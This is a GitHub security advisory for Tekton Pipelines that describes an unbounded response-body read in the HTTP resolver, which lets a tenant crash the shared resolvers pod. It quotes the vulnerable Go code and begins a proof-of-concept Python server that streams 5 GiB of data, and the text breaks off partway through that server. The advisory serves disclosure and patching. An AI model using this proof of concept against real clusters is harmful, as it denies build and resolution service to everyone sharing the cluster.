GitHub Security Advisory: GHSA-m2cx-gpqf-qf74
Package: github.com/tektoncd/pipeline (GO)
Severity: MODERATE (CVSS 6.5)
CWE: CWE-400: Uncontrolled Resource Consumption
Vulnerable versions: <= 1.11.0
Patched in: 1.11.1

Summary: Tekton Pipelines: HTTP Resolver Unbounded Response Body Read Enables Denial of Service via Memory Exhaustion

Details:
## Summary

The HTTP resolver's `FetchHttpResource` function calls `io.ReadAll(resp.Body)` with no response body size limit. Any tenant with permission to create TaskRuns or PipelineRuns that reference the HTTP resolver can point it at an attacker-controlled HTTP server that returns a very large response body within the 1-minute timeout window, causing the `tekton-pipelines-resolvers` pod to be OOM-killed by Kubernetes. Because all resolver types (Git, Hub, Bundle, Cluster, HTTP) run in the same pod, crashing this pod denies resolution service to the entire cluster. Repeated exploitation causes a sustained crash loop. The same vulnerable code path is reached by both the deprecated `pkg/resolution/resolver/http` and the current `pkg/remoteresolution/resolver/http` implementations.

## Details

`pkg/resolution/resolver/http/resolver.go:279–307`:

```go
func FetchHttpResource(ctx context.Context, params map[string]string,
    kubeclient kubernetes.Interface, logger *zap.SugaredLogger) (framework.ResolvedResource, error) {

    httpClient, err := makeHttpClient(ctx)  // default timeout: 1 minute
    // ...
    resp, err := httpClient.Do(req)
    // ...
    defer func() { _ = resp.Body.Close() }()

    body, err := io.ReadAll(resp.Body)  // ← no size limit
    if err != nil {
        return nil, fmt.Errorf("error reading response body: %w", err)
    }
    // ...
}
```

`makeHttpClient` sets `http.Client{Timeout: timeout}` where `timeout` defaults to 1 minute and is configurable via `fetch-timeout` in the `http-resolver-config` ConfigMap. The timeout bounds the duration of the entire request (including body read), which limits slow-drip attacks. However, it does not limit the total number of bytes allocated. A fast HTTP server can deliver multi-gigabyte responses well within the 1-minute window.

The resolver deployment (`config/core/deployments/resolvers-deployment.yaml`) sets a 4 GiB memory limit on the `controller` container. A response of 4 GiB or larger delivered at wire speed will cause `io.ReadAll` to allocate 4 GiB, triggering an OOM-kill. With the default timeout of 60 seconds, a server delivering at 100 MB/s can supply 6 GB — well above the 4 GiB limit — before the timeout fires.

The `remoteresolution` HTTP resolver (`pkg/remoteresolution/resolver/http/resolver.go:90`) delegates directly to the same `FetchHttpResource` function and is equally affected.

## PoC

```bash
# Step 1: Run an HTTP server that streams a large response fast
python3 - <<'EOF'
import http.server, socketserver

class LargeResponseHandler(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header("Content-Type", "application/octet-stream")
        self.end_headers()
        # Stream 5 GB at full speed — completes in <60s on a local network
        chunk = b"X" * (1024 * 1024)  # 1 MiB chunk
        for _ in range(5120):          # 5120 * 1 MiB = 5 GiB
            self.wfile.write(chunk)

    def log_message(self, *